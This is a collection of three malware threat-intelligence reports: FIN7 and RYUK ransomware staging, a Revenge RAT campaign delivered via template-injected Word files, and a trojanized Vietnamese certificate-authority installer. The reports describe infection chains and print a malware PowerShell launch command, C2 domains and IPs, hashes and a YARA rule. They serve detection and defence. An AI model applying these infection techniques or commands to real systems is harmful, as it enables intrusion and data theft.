attacker had ensured they had admin privileges, they launched RunPsExec against +several clients and servers to install a second malicious code, a PowerShell RAT, previously +unknown to Truesec. The PowerShell RAT connected to another malicious domain: +hxxps://besaintegration[.]com/gate. +The PowerShell RAT includes functions to retrieve basic system information and provides +capabilities to start and manage arbitrary commands as background jobs. +The different functions are illustrated below. +Figure 5 + Part of PowerShell RAT +5/14 +Figure 6 + Part of PowerShell RAT +Figure 7 + Part of PowerShell RAT +6/14 +Figure 8 + Part of PowerShell RAT +7/14 +Figure 9 + Part of PowerShell RAT +8/14 +Figure 10 + Part of PowerShell RAT +CARBANAK RAT +The last action the attacker performed at this stage was to also install the CARBANAK RAT +as an additional backdoor onto domain controllers of the victim network. The attacker +downloaded an obfuscated script that when executed, loads a DLL file in memory and +executes it through reflection methods. +9/14 +Figure 11 + Decompressed script +It then connects to Command-and-Control server 170.130.55[.]85:443 in order to download +the malware configuration file anunak_config which is a known component of the +CARBANAK RAT. Once the CARBANAK RAT was installed, it would beacon to the same C2 +server. +Once the actor had deployed the PowerShell RAT and CARBANAK RAT, no further action +was taken on the compromised network for several weeks. +Stage 3 + The Reconnaissance +10/14 +Cobalt Strike +The third stage of the attack began several weeks after the initial compromise and lasted +about a week. The attacker deployed Cobalt Strike on the network and began +reconnaissance and data discovery on the network. This part of the attack was conducted +from a completely different infrastructure than the first two stages. +Data Theft +During this stage, the attacker also exfiltrated data from the victim network. The exfiltration +was done using the SmartFTP Client that connected to an IP address controlled by the +attacker. +The names of some of the files that were exfiltrated were found in the file +Unlocker-List.txt +This file is part of the IObit Unlocker software, installed by the attacker, likely to facilitate the +ransomware execution or file copy operations by unlocking locked files. +Stage 4 + The Ransomware +RYUK Ransomware +A week after the attacker had begun reconnaissance of the network and exfiltrated the data +they wanted; they deployed the RYUK ransomware. The Ransomware was deployed using +both manual and scripted methods. +The high-level description of the staging procedure is summarized below: +1. Identify server hostnames and IP addresses in the domain +2. Prepare batch file to disable protections and security software (kill.bat) +3. Prepare RYUK ransomware (svchost.exe) +4. Copy kill.bat +5. Disable User Account Control +6. Run kill.bat +7. Copy RYUK ransomware (svchost.exe) +8. Run RYUK ransomware (svchost.exe) +Steps 4-8 were performed on all identified servers in the victim network, using both IP +address and hostname. Remote code execution was achieved with two methods: remote +WMI command execution and using Microsoft Sysinternals + utility PsExec. +Conclusions +11/14 +The first two stages of the attack, when the attacker took over the network, clearly bears the +mark of the criminal threat actor known as FIN7. Both the JavaScript backdoor and the way it +was installed, and CARBANAK RAT are tools that have been attributed to FIN7. No attempt +to identify resources in the network was made at this time, once the attacker had control of +the network. +The subsequent stages, in which data was stolen and a ransomware was deployed, +occurred almost six weeks after the initial compromise. This part of the attack was done +using tools and techniques that are indicative of the RYUK ransomware group, also known +as WIZARD SPIDER or FIN6. This was also conducted from an entirely different +infrastructure than the initial stages attributed to FIN7. +The progress of the attack clearly indicates that different stages of the attack were conducted +by different teams. It +s possible that the FIN7 group are now more focused on just gaining +access and then let a team from the RYUK group take over and deploy ransomware. +This suggests a closer collaboration between FIN7 and the RYUK group than has been +previously known by Truesec. It is possible FIN7 simply sold the access to the RYUK group, +but it is probable that the two groups have even stronger ties. The RYUK group are known to +contract affiliates to gain foothold for their ransomware attacks. +It consequently seems possible that FIN7 and WIZARD SPIDER are now both part of the +same sprawling organized crime network. +Appendix + IOC +domains +dmnadmin[.]com +sendbits.m2stor4ge[.]xyz +myrric-uses.singlejets[.]com +besaintegration[.]com +sephardimension[.]com +IP addresses +45.11.180.14 +45.11.180.76 +45.11.180.83 +12/14 +45.91.93.89 +46.166.161.104 +46.166.161.159 +170.130.55.85 +185.163.45.185 +185.212.44.231 +185.212.47.100 +193.178.169.203 +194.76.225.76 +194.76.225.77 +194.76.225.78 +194.76.225.79 +194.76.226.202 +195.2.93.17 +MD5 hashes +10AA7B8AB8D0D1C650FFFE01AFB90CEE +19ADFCD1E2B02D655531CE53B39CDD79 +166686D538EC9A0E0550347149AAC4CC +BDED054D3176EEFEEDB4470DF9EE4716 +D1092764732C9A9B88AAAD727D1D4F94 +9836248A42FF7FA89AE8D6D849D361F7 +BA86E99056C33A4B64B08DADE708B041 +0C392BC26565BDD41B7A663EFD60BF0C +1643B85E7F459C6FFE1E5AB9EBB53F93 +C1BE2260C7673096D8F083AE69DFF5D0 +SHA256 hashes +13/14 +FCAAF4B85C42BEC0426CE7A827F437C3CF0E2C502A393DD8C3C327F035FE1A2C +1BBE96A888C6E3A52CDB0676F38A8A379A72E6F4ADE58F101A0559C7AD6F99C7 +53430ABD76A5CFCFADA4962CD8925B2E32620C44A8863B445BA145F42DBFEA64 +B49CA670CD9CEF54A5F372375BD6CA1BE7B68FD68535D6498374970CD69AAAE2 +D9A6DD7216FAAFC65D419D09B6B7B5DDF24991A1F65F23113DDE40D4936EEA55 +992785A27987A99B2B1EE0475457A0E548F5DD704429C3528C335C315FF089F5 +363775EC196DC5F5C435068B4237C42C2038BD15EF40FD453FA1F49C827BDAF2 +8141F47A1EE8453AC01DAACB16CAB2D18B37A9045EDC5F20C9019D4327576704 +A428716A6891C67CD70DD17769158060298B431F06A483A1E34D58D71F2B34DB +This is an analysis of part of the network of Russian organized crime hacking groups is +written by Threat Intelligence Lead Mattias W +Mattias W +s task is to lead and further develop Truesec +s Threat Intelligence +capabilities for anticipating data breaches and averting threats. The goal is to map all major +actors threatening Swedish and global interests and monitor their activities. Read more. +Cybersecurity, Threat Intelligence +14/14 +Revenge RAT Targeting Users in South America +uptycs.com/blog/revenge-rat-targeting-users-in-south-america +Abhijit Mohanta +The Uptycs threat research team recently came across multiple document samples that +download Revenge RAT. The campaign currently seems to be active in Brazil. All of the +malware samples we received have the same properties. One of the samples we received +has the name +Rooming List Reservas para 3 Familias.docx + (SHA-256: +91611ac2268d9bf7b7cb2e71976c630f6b4bfdbb68774420bf01fd1493ed28c7). The +document has only a few detections in VirusTotal. +Figure 1: VirusTotal detections for the document. (Image via VirusTotal.) +Upon opening the document, a series of events happen that lead to the download of +Revenge RAT malware hosted on a Brazilian website (hxxp://azulviagens[.]online). Azul +Viagens is a legitimate hotel chain in Brazil and the official website of the hotel can be found +here. +Attackers registered the fake domain name and used a room reservation document file to +infect the end user. The attack is multi-stage with the components used in the attack spread +across multiple files on the attacker +s server. The WHOIS records for +hxxp://azulviagens[.]online seems to have been registered on December 10, 2020 with the +email ID mmpereiramm30@gmail.com. +The Attack Flow +The components of the attack span multiple stages. Figure 2 (below) shows the steps +involved in the attack. +1/14 +Figure 2: The attack flow. +Step 1: The DOCX file ( +Rooming List Reservas para 3 Familias.docx +) used in the +attack vector downloads the +1.docx + (template) from the CnC server +Steps 2 and 3: The embedded +Microsoft_Excel_Macro-Enabled_Worsksheet1.xlsm +file in "1.docx" (template) downloads the PowerShell code +A.txt + from the CnC server +and executes it in memory. +Step 4: The PowerShell code in +A.txt + downloads +index.mp3 + from the CnC server +and saves it as +index.vbs. +Step 5: Upon execution, +index.vbs + creates +opera.vbs, + which contains code to +execute +opera.ps1 + created in the next step. +Step 6: +index.vbs + downloads +1.txt + and saves it as +opera.ps1, + which has +obfuscated Revenge RAT in it. +Step 7: +opera.vbs + executes +opera.ps1. +A detailed analysis of files used during various stages of the attack is provided below. +The Initial Document +The initial document, +Rooming List Reservas para 3 Familias.docx, + used as the attack +vector is a DOCX file. The document uses a technique known as Dynamic Office Template +Injection to bypass security products. This allows the attacker to store the malicious file on a +remote server. This technique can evade anti-malware solutions that rely on static detection. +2/14 +The document has the structure shown in Figure 3 (below). The structure contains a file +named +footer.xml.rels. + The +target + fields in the file point to the templates hosted on the +CnC server. There are several URLs in the +target + fields that point to files +1.docx + all the +way to +9.docx + hosted on the CnC server. Each of the files has the same content (the same +SHA-256: 338b2d8d76f4028bfbd177127371b2509971606553d606c534316dc40cfa8fb9). +Figure 3: Structure of the DOCX and footer.xml.res pointing to the malicious template. (Click +to see larger version.) +When the victim opens the document, one of the templates is downloaded and executed. +The Template File +The template file("1.docx" ... "9x.docx") follows the structure shown in Figure 4 (below). The +settings.xml in the structure have the +target + fields that point to XLSM files, which are +present in the +embeddings'' directory in the structure of the DOCX file. +The XLSM files +Microsoft_Excel_Macro-Enabled_Worksheet.xlsm +Microsoft_Excel_Macro-Enabled_Worksheet9.xlsm + have the same contents (same SHA256: 32f1a502126b1932e1def04b98d8be235c8d25ef7268f8cb35d460cd073a88b2). When +the template file ("1.docx" ... "9x.docx") is executed by Microsoft Word, it executes one of the +XLSM files ( +Microsoft_Excel_Macro-Enabled_Worksheet.xlsm + to +Microsoft_Excel_MacroEnabled_Worksheet9.xlsm +3/14 +Figure 4: XLSM files inside the 1.docx template. (Click to see larger version.) +The XLSM File +The XLSM file follows the structure shown in Figure 5 (below). The structure contains +macros in the +VBAProject.bin + file. The following screenshot shows the stream containing +the macros. +4/14 +Figure 5: Macros in XLSM. +There are two important macros present in the BIN file: +Macro 1 + kills the Microsoft Word +process +winword.exe + and +Macro 2 + downloads and executes the PowerShell code present +at the URL +hxxp://azulviagens[.]online/A.txt + in memory. +Figure 6 (below) shows the contents of +A.txt. +5/14 +Figure 6: PowerShell script in hxxp://azulviagens[.]online/A.txt. +When the PowerShell code in +A.txt + is executed, it downloads the contents of +index.mp3 +and saves it to file the +index.vbs + and executes it. +Index.vbs +Figure 7 (below) shows the code in +index.vbs. + When +index.vbs + is executed it creates +another two files, +opera.vbs + and +opera.ps1 + in the +C:\Users\Public\ + directory. +Index.vbs +downloads the contents of hxxp://azulviagens[.]online/1.txt and saves it to +opera.ps1. + The +index.vbs + file places the following command in +opera.vbs +l.exe -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\Opera.ps1 +The command is then executed. When executed, +opera.vbs + executes the file +opera.ps1." +Figure 7: Code in index.mp3 (index.vbs). (Click to see larger version.) +Opera.ps1 +Opera.ps1 + is a highly obfuscated PowerShell script (see Figure 8, below). One thing that +catches our eye is the string +4D 5A, + which indicates the magic header of a Windows +executable. +6/14 +Figure 8: 4D5A in opera.ps1. +After de-obfuscating the PowerShell code, we were able to retrieve the Windows executable, +which is the Revenge RAT. Below is the description of the Revenge RAT we extracted. +Similar PowerShell code was also found hosted on x-root.net, which has also been +registered in recent months. Uptycs + EDR capabilities can decode the obfuscated +PowerShell code, as shown in the screenshot below (Figure 9). +Figure 9: Deobfuscated PowerShell code. (Click to see larger version.) +The Revenge RAT +Revenge RAT was first seen mid-2016. The RAT has been coded in .NET. The Revenge +RAT we extracted is not a packed binary and code is clearly visible. Below is a description of +the various classes and methods present in the decompiled code. +Program +The +Program + class shown in Figure 10 (below) contains the main function of the program. +The main() function creates a mutex and then executes the rest of the code. +7/14 +Figure 10: Program class. (Click to see larger version.) +RAT Configuration +Figure 11 (below) contains the configuration for the RAT, which is used during execution. +Figure 11: RAT configuration. +Below are some members of the config class and their functionality: +host: CnC server +port: CnC port +id: Unique identity of the installed RAT on the victim machine +8/14 +currentMutex: Mutex placed by the RAT on the system +stopwatch(): This is a member function that can be use to reset the stopwatch +IdGenerator +The class IdGenerator shown in Figure 12 (below) is used for creating a unique ID for the +victim machine, which the RAT is going to send to the CnC server. A unique string ID is +generated by retrieving various system attributes using the methods in the class. Below are +some of the methods: +GetActiveWindow: Get active window or window of the application used by the user +GetAV: Get the antiviruses installed on the system +GetCamera: Get information about the camera +GetCpu: Get CPU information +GetHardDiskSerialNumber: Get hard disk serial number +GetIp: Get IP address +GetSystem: Get processor information +SendInfo: Concatenate information collected by previous methods into a string +9/14 +Figure 12: Components of the IdGenerator class. (Click to see larger version.) +Client +The client class implements the network client of the RAT. It has the following methods: +Ping: Pings the CnC server +TCPReceive: Received data to the server +TCPSend: Send data to the server +Handler +The Handler class shown in Figure 13 (below) is used to process the CnC command +received from the attacker. +Figure 13: CnC commands. (Click to see larger version.) +Below is the list of commands: +PNC: Reset the stopwatch +P: Send the active windows to the CnC +IE: Check for installed plugins +LP: Invoke plugin +UNV: ninstall, restart the RAT +10/14 +Variants of Revenge RAT are known to have many other capabilities as listed below: +Screen capture +Keylogging +Video capture +Credential dumping +Audio capture +Uptycs EDR Detections +The following images show Uptycs EDR detection for the threat. +Figure 14: Uptycs EDR detections. (Click to see larger version.) +11/14 +Figure 15: Process graph in Uptycs EDR. (Click to see larger version.) +Figure 16: Process graph continued. (Click to see larger version.) +Indicators of Compromise +Below is the list of IOCs seen in the Revenge RAT attack. +Hashes +12/14 +Initial attack document +91611ac2268d9bf7b7cb2e71976c630f6b4bfdbb68774420bf01fd1493ed28c7 +Initial attack document +77d6651de47bff4c24fc26fa018ea648b0e14e276e8240fae6b1724b8638c46a +1.docx(template) +338b2d8d76f4028bfbd177127371b2509971606553d606c534316dc40cfa8fb9 +Microsoft_Excel_Macro-Enabled_Worksheet.xlsm +32f1a502126b1932e1def04b98d8be235c8d25ef7268f8cb35d460cd073a88b2 +A.txt +4b65e5785692950f8100b22f2827d65ba93e99dd717eb444af035e96fcd84763 +opera.ps1 +03f5ff9b6a6b24f76799cc15fe3f1fbf1ca9d6dda30a4154125ed5dd5834290c +Revenge RAT +73f113a6146224c4a1f92f89055922a28322787c108e30000a0a420fa46ed9e2 +URLs +hxxp://azulviagens[.]online +Cdtpitbull[.]hopto[.]org +YARA Rule +rule upt_Revenge_RAT { +meta: +description="Revenge-RAT" +sha256="73f113a6146224c4a1f92f89055922a28322787c108e30000a0a420fa46ed9e2" +author = "abhijit mohanta" +date = "20 Dec 2020" +strings: +$upt_Revenge_RAT0 = "Revenge-RAT" ascii wide nocase +$upt_Revenge_RAT1 = "mscoree.dll" ascii wide nocase +$upt_Revenge_RAT2 = "REVEGERRRRR.exe" ascii wide nocase +$upt_Revenge_RAT3 = "keepAlivePing!" ascii wide nocase +$upt_Revenge_RAT4 = "AntiVirusProduct" ascii wide nocase +$upt_Revenge_RAT5 = "FirewallProduct" ascii wide nocase +condition: +all of ($upt_Revenge_RAT*) +13/14 +14/14 +[RE018-1] Analyzing new malware of China Panda hacker +group used to attack supply chain against Vietnam +Government Certification Authority - Part 1 +blog.vincss.net/2020/12/re018-1-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chainagainst-vietnam-government-certification-authority.html +I. Introduction +In process of monitoring and analyzing malware samples, we discovered an interesting blog +post of NTT here. Following the sample hash in this report, we noticed a hash on VirusTotal: +Figure 1. Hash +s information in the NTT blog +On the event that a hacker group believed to be from Russia attacked and exploited the +software supply chain to target a series of major US agencies, along with discovery that the +keyword eToken.exe belongs to the software that is quite popularly used in agencies, +organizations and businesses in Vietnam, we have used eToken.exe and SafeNet as +keywords for searching on VirusTotal and Google. As a result, we uncovered information +about two remarkable installation files (1, 2) that have been uploaded to VirusTotal since +August 2020: +1/27 +Figure 2. Information look up on VirusTotal +The name of the installation files are quite familiar: gca01-client-v2-x32-8.3.msi and gca01client-v2-x64-8.3.msi, We have tried to download these two files from the website and they +have the same hash value. However, at the present time, all files on the VGCA homepage +have been removed and replaced with the official clean version. According to the initial +assessment, we consider this could be an attack campaign aimed at the software supply +chain that can be leveraged to target important agencies, organizations and businesses in +Vietnam. +On December 17th, ESET announced a discovery of an attack on APT they called "Operation +SignSight" against the Vietnam Government Certification Authority (VGCA). In that report, +ESET said they have also notified VNCERT and VGCA and VGCA has confirmed that they +were aware of the attack before and notified the users who downloaded the trojanized +software. +2/27 +At the time of analysis, we have obtained two setup files that have been tampered by +hackers. This blog post series will focus on analyzing the signatures and techniques that +hackers have applied to malicious samples in these two installation files. +II. Analyze installation file +This application is named as "SafeNet Authentication Clients" from SafeNet .Inc company. +Portable Executable (PE) files are mostly signed with SafeNet certificates. +Figure 3. PE files signed with SafeNet certificate +By using UniExtract tool, we extracted the entire file from an installer (x64 setup file). The +total number of files is 218 files, 68 subfolders, the total size is 75.1 MB (78,778,368 bytes). +To find out which file has been implanted by hackers, we only focus on analyzing and +identifying unsigned PE files. +With the help of sigcheck tool in Micorsoft's SysInternals Suite, with the test parameters is +signed, hash, scan all PE files, scan the hash on VirusTotal, the output is csv file. Then +sorting by unsigned file, resulting from VirusTotal, we discovered that eToken.exe is the file +was implanted by the hacker. +Figure 4. Discovered file was implanted by hacker +The hash of this eToken.exe matches with the one in NTTSecurity's report. Another strange +point is that it +s a 32bit PE but located in the x64 directory, the version information such as +Company, Description, Product + are not valid for such a large company application. Here +is the scan result of the eToken file on VirusTotal. +3/27 +Since this application is built with Visual C ++ of Visual Studio 2005 which is old version, and +uses the Qt4 library, some of the dll files of this installer are also unsigned. We checked each +file and determined that the files were clean, leaving only three suspicious files: +RegistereToken.exe, eTOKCSP.dll and eTOKCSP64.dll. +So eToken.exe file is a malware that hackers have added to the installation of the software +suite. To find out how eToken.exe is executed, we analyze the installation file: msi file +(Microsoft Windows Installer file): gca01-client-v2-x64-8.3.msi +Extracting the msi file to raw format before installing, we obtained two .cab files (Microsoft +Cabinet file): Data1.cab and Cabs.w1.cab. This is anomaly because a normal msi file has +only one main .cab file. Check the Data1.cab file and the MSI log text file, eToken.exe and +RegistereToken.exe are in Data1.cab file. And both .exe files have no GUID ID info: +Figure 5. Exe files do not have a GUID ID info +Continue checking the features: DriverFeature, and two files eToken.exe and +RegistereToken.exe msi file with Microsoft's Orca tool (a specialized tool for analyze and +modify msi files). Through a search, the hacker has added a custom action: RegisterToken +(without "e" before Token) to the msi file and added that CustomAction at the end of +InstallExecuteSequence. RegistereToken.exe will be called with the parameter is +eToken.exe: +4/27 +Figure 6. Hacker implanted a custom action +Analyzing the RegistereToken.exe file, we see that this file was built on "Wednesday, +22.07.2020 07:40:31 UTC", ie 07/22/2020, 2h40m31s PM GMT +7, PE64, using VC ++ +2013: +Figure 7. Information of the RegistereToken.exe file +RegistereToken.exe's pseudo code only calls the WinExec API to execute the passed in +argument: +Figure 8. Tasks of RegistereToken.exe +With all the information above and based on the timestamp in the Data1.cab and +RegistereToken.exe files, we can conclude: +Hacker has created and modified the .msi file and created the Data1.cab file at +timestamp: 07/20/2020 - 15:15 UTC time, added the eToken.exe file at this time. +5/27 +Build RegistereToken.exe file at timestamp: 22/07/2020 - 07:40 UTC +Add RegistereToken.exe file to Data1.cab at timestamp: 22/07/2020 - 08:40 UTC +Note: According to Cab file format, the two Date and Time fields of a file in the cab file are +DOS Datetime format, each of which is a Word 2 bytes which reflect the time when the file +was added according to DOS time. Cab file processing programs will convert and display in +UTC time. That is, the above UTC times are the current time on the hacker machine. See +more here. +Figure 9. MS DOS Datetime Information +III. Analyze eToken.exe +1. Analyze PE Structure +File eToken.exe: +Size: 192 KB (196,608 bytes) +MD5: 830DD354A31EF40856978616F35BD6B7 +SHA256: +97A5FE1D2174E9D34CEE8C1D6751BF01F99D8F40B1AE0BCE205B8F2F0483225C +Information about compiler, RichID and build timestamp: +Build with VC ++ 6 of Microsoft Visual Studio, Service Pack 6. +Build at: 26/04/2020 - 15:12:58 UTC +Checksum is correct, file has not been modified PE Header. +Linking with MFC42.dll library, Microsoft Foundation Class v4.2 library of Microsoft, is a +library supporting GUI programming on Windows, always included in Visual Studio +suite. +6/27 +Link with a special library: dbghelp.dll. Use the MakeSureDirectoryPathExist API +function. See more here. +Checking the resource section of the file, we determined that this is a Dialog application, +created by MFC Wizard of Visual Studio 6. The project name is VVSup, which means the +.exe file when built out would be VVSup.exe. +Figure 10. File's resource information +2. Static code analysis +eToken.exe (VVSup.exe) is built with dynamic link DLL mode with MFC42.dll, so the .exe +file will be small and the functions of the MFC42 libirary will be easily identified via the name +import of the DLL. The name mangling rule of Microsoft VC ++ compiler reflects the class +name, function name, parameter name, call type... of functions. IDA helps us to define the +functions import by ordinal of MFC42.dll using the file mfc42.ids and mfc42.idt included +with IDA. +7/27 +However, VVSup is built with the RTTI (Runtime Type Information) option is disabled, so +there is no information about the RTTI and Virtual Method Table of all classes in the file. We +only have RTTI of class type_info, the root class of RTTI. +Figure 11. RTTI Info of type_info class +The analysis will show how to define classes, recreate the code of this malware, and share +experience in applying when analyzing malwares/files using MFC. +Plugins used: +Simabus +s ClassInformer +Matrosov +s HexRaysCodeXplorer +MFC_Helper +The MFC C++ source code can be found in the src\mfc directory of the Visual Studio +installer. Since MFC4.2 (MFC of VS6) is very old, it can be found on Github. We refer here. +About the relationship chart of the classes of MFC (Hierarchy Chart), you can see at this link. +Three important dlls file to diffing/compare with MFC malware, for example in this sample +eToken, are mfc42.dll, mfc42d.dll, mfco42d.dll. You can find and download the correct +debug symbol file (.pdb) of the dlls you have. The most important one is mfc42d.dll (debug +build), since its .pdb will contain full information about the types, enumes, classes, and +vtables of the MFC classes. We export local types from mfc42d.dll to .h file, then import into +our idb database. IDA's Parse C ++ has an error, unable to parse the "<>" template syntax, +so we find and replace pairs of "<" and ">" to "_" in .h files. +Parallel opening mfc42d.dll in new IDA together with IDA is parsing malware, copy names, +types of classes, functions from mfc42d.dll. As mentioned, this malware is an MFC Dialog +application, so we will definitely have the following classes in the malware: CObject, +CCmdTarget, CWinThread, CWnd, CDialog. According to the MFC Wizard's auto-naming +rule, we have classes with the following names: CVVSupApp (inherited from CWinApp), +CAboutDlg (dialog About, resID = 100), CVVSupDlg (main dialog, resID = 102). +Scan results of vtables, classes of two plugins ClassInformer and HexRaysCodeXplorer. +8/27 +Figure 12. Scanning vtables, classes result +Use MFC_Helper scan CRuntimeClass, as expected, CVVSupDlg has CRuntimeClass +and add another class: CVVSupDlgAutoProxy. It shows that the hacker when running the +MFC Wizard, clicked to select support OLE Control. +Figure 13. Detect classe after run MFC_Helper +Based on the import function CWinApp::GetRuntimeClass, we can determine CVVSupApp +vtable, and based on CDialog::GetRuntimeClass we can define two vtables of the other +two dialogs. But which dialog is About, which dialog is a malware dialog? Identify all the +internal structures of MFX such as AFX_MSGMAP, AFX_DISPMAP, +AFX_INTERFACEMAP... +Using the Xref to feature call the CDialog constructor: void __thiscall CDialog::CDialog +(CDialog *this, unsigned int nIDTemplate, CWnd *pParentWnd), nIDTemplate is the +resID of the dialog, we define the vtable of CAboutDlg and CMalwareDlg. Because +CMalwareDlg does not have CRuntimeClass and RTTI, so it is temporarily named like that. +The hacker deleted the DECLARE_DYNAMIC_CREATE line of these two classes and the +CVVSupApp class when build. +9/27 +Figure 14. Identify vtable of CAboutDlg and CMalwareDlg +Relational Classes table of this malware: +10/27 +Figure 15. Relational classes table of this malware +Copy the names of functions, types, function types, parameters ... from the respective parent +classes of the above classes, in the correct order in the vtable, identify the generated MFC +Wizard functions and the functions the hacker wrote. +Figure 16. Result after copy name of functions, types, function types, parameters +Every MFC application has a global variable called theApp, belonging to the main class +CXXXApp inheriting from CWinApp. In the case of this malware are: CVVSupApp theApp; +This global variable is initialized by C RTL in the start function, called before main/WinMain, +in table __xc_a. The functions in this table call after the C RTL constructors in __xi_a. These +tables are the parameters passed to the internal _initterm function of C RTL. +11/27 +Figure 17. TheApp global variable in the MFC application +The flowchart of creating and executing an MFC application is as follows: +Figure 18. Flowchart of creating and executing an MFC application +The CVVSupApp :: InitInstance function is also a common code generated by MFC wizard +12/27 +Figure 19. CVVSupApp::InitInstance function +Constructor of CVVSupDlg: void CVVSupDlg::CVVSupDlg() is also common code +generated by MFC Wizard. But in CVVSupDlg::OnInitDialog, which is called from +CVVSupDlg::DoModal(), we can see immediately, at the end of the code that the MFC +Wizard generated, CMalwareDlg is initialized and shown, then the malware exits forcibly +exit (0). +13/27 +Figure 20. CMalwareDlg was created and shown +The value 129 is the resID of the CMalwareDlg dialog, and sizeof(CMalwareDlg) = 0x290, +which is larger than the size of the parent CDialog. It proves that CMalwareDlg was added +by hackers to some data members. Through analysis, we recreated the data members of +CMalwareDlg: +Figure 21. Recreate data members of CMalwareDlg +The CMalwareDlg::CMalwareDlg Constructor does the following initialization jobs. Note the +copy string "192.168" into the field m_szMask: +14/27 +Figure 22. Copy "192.168" string to m_szMask field +When shown, CMalwareDlg::OnInitDialog will be called, and the main function that is +important for doing the malware's task is called here: +Figure 23. The Infect main function will do the malware's job +The Infect (we named) function is relatively long, so it should be presented via the flowchart +below: +15/27 +Figure 24. Infect function flowchart +We'll go into detail each of the important child functions called by the Infect function of the +CMalwareDlg class. The UserIsAdmin function, using the IsUserAdmin() API of +shell32.dll: +16/27 +Figure 25. UserIsAdmin fuction +GetSomeAPIAddrs function is a redundant function, function pointers are taken but +completely unused. We guess this could be an old code. +17/27 +Figure 26. GetSomeAPIAddrs function +The Base64Decode function is like other Base64 decode functions, except that the Base64 +code table is copied by the hacker to a char arrary m_szBase64Table and accessed from +here. After being decoded Base64, the original ServiceName +"TmV0QmlvcyBNZXNzYWdlciBSZWdpc3Rlcg==" will be "NetBios Messager Register". +The original ServiceDescription +"TmV0QmlvcyBjb21tdW5pY2F0aW9uIGJldHdlZW4gc3lzdGVtIGNvbXBvbmVudHMu" +would be "NetBios communication between system components." +The ExtractCabFile function is a global function, not part of the CMalwareDlg class. Note +that the file is created with the attribute hidden. +18/27 +Figure 27. ExtractCabFile function +The .cab file is completely embedded in the .data section, size = 94874 (0x1729A). Hackers +declared the following equivalent: "static BYTE g_abCabFile[] = {0xXXXX, 0xYYYY};" (no +const, so it will be located in .data section). Extracting that area, we have a .cab file +containing a file, named smanager_ssl.dll, the date added to the cab is 04/26/2020 - 23:11 +UTC, build date 26.04.2020 15:11:24 UTC. +Figure 28. The embedded .cab file contains the file smanager_ssl.dll +The smanager_ssl.dll file (netapi32.dll) will be analyzed in the next post because it is +relatively complex. +19/27 +Figure 29. RunExtrac32Exe function +The ExecuteAndWait function is also a global function, using the ShellExecuteExA API to +call and wait until the execution completes. +Figure 30. ExecuteAndWait function +The Config of the Proxy on the victim machine is defined by the hacker through a struct as +shown, PROXY_TYPE is an enum: +20/27 +Figure 31. struct PROXY_CONFIG +The ReadProxyConfig function will read from the victim's registry first, otherwise it will read +from the Firefox pref.js file. We are still not clear why hackers tried to read from Firefox, +maybe they did a reconnaisance to learn about the commonly used web browsers at the +target. +Figure 32. ReadProxyConfig function +The ReadProxyConfigFromRegistry function is a bit long so there are only important parts: +21/27 +Figure 33. The main job of the ReadProxyConfigFromRegistry function +The ReadProxyConfigFromFireFox function is very long so we won't cover it in detail here. +The UpdateFile function uses the memsearh equivalent function to find a string in the file's +content, and C&C Info will be written at the found location. In the case of this malware, the +mask string is "192.168". +22/27 +Figure 34: The UpdateFile function uses the memsearh equivalent function to find a string +We recreated the C&C Info struct as follows: +Figure 35. struct of C&C info +And C&C info has been hardcoded by hackers in the code: +23/27 +Figure 36. C&C information is hardcoded in the malicious code +The content of smanager_ssl.dll* (netapi32.dll**) is original and after being updated from +g_CCInfo structure via: +Figure 37. Contents of smanager_ssl.dll file (netapi32.dll) before and after being updated +The function to load the extracted file and create the Scheduler Task: +24/27 +Figure 38. Function LoadDllAndCreateSchedulerTask to load the extracted file and create a Scheduler +Task +Then, if the malware is run with admin, it will register as a ServiceDll, with the name +mentioned above, the Service registry key chosen at random from a table of ten elements, +and appended "Ex". These series include: "Winmads", "Winrs", "Vsssvr", "PlugSvr", +"WaRpc", "GuiSvr", "WlanSvr", "DisSvr", "MediaSvr", "NvdiaSvr". +After appending Ex by the sprintf function, the registry key on the victim machine is created +under the branch HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost will +be one of the following strings: +WinmadsEx +WinrsEx +VsssvrEx +PlugSvrEx +WaRpcEx +GuiSvrEx +WlanSvrEx +DisSvrEx +MediaSvrEx +NvdiaSvrEx +Since the function is also a bit long, only the main points are covered here: +25/27 +Figure 39. Create a registry key on a victim machine +Figure 40. Create service on victim machine +26/27 +The RegistryCall function is a self-written function by hacker, it is a global function, also only +doing tasks with the Registry. From our point of view, hackers' programming styles are +extremely messy and inconsistent (maybe this is how they intentionally confusing), which +made it difficult for us to analyze. After registering as a Dll service, the Infect function +completes and returns. Malware will exit because of the above call to exit(0) on +OnInitDialog +We will provide .xml file containing analysis information on IDA so anyone interested in this +malware can use it to re-import IDA and Ghidra using Ghidra's plugin xml_importer.py. +The IOCs of the malicious code have been noted in the article. You can write your own .bat +file or script using PowerShell, VBS ... to find and remove this malware on the victim's +computers. +Note: +Original smanager_ssl.dll +MD5: C11E25278417F985CC968C1E361A0FB0 +SHA256: +F659B269FBE4128588F7A2FA4D6022CC74E508D28EEE05C5AFF26CC23B7BD1A5 +netapi32.dll (ie smanager_ssl.dll has updated CCInfo): +MD5: 43CE409C21CAD2EF41C9E1725CA12CEA +SHA256: +6C1DB6C3D32C921858A4272E8CC7D78280B46BAD20A1DE23833CBE2956EEBF75 +Click here for Vietnamese version: Part 1, Part 2 +ng Qu +c Ng +n (aka HTC) +Malware Analysis Expert - VinCSS (a member of Vingroup) +27/27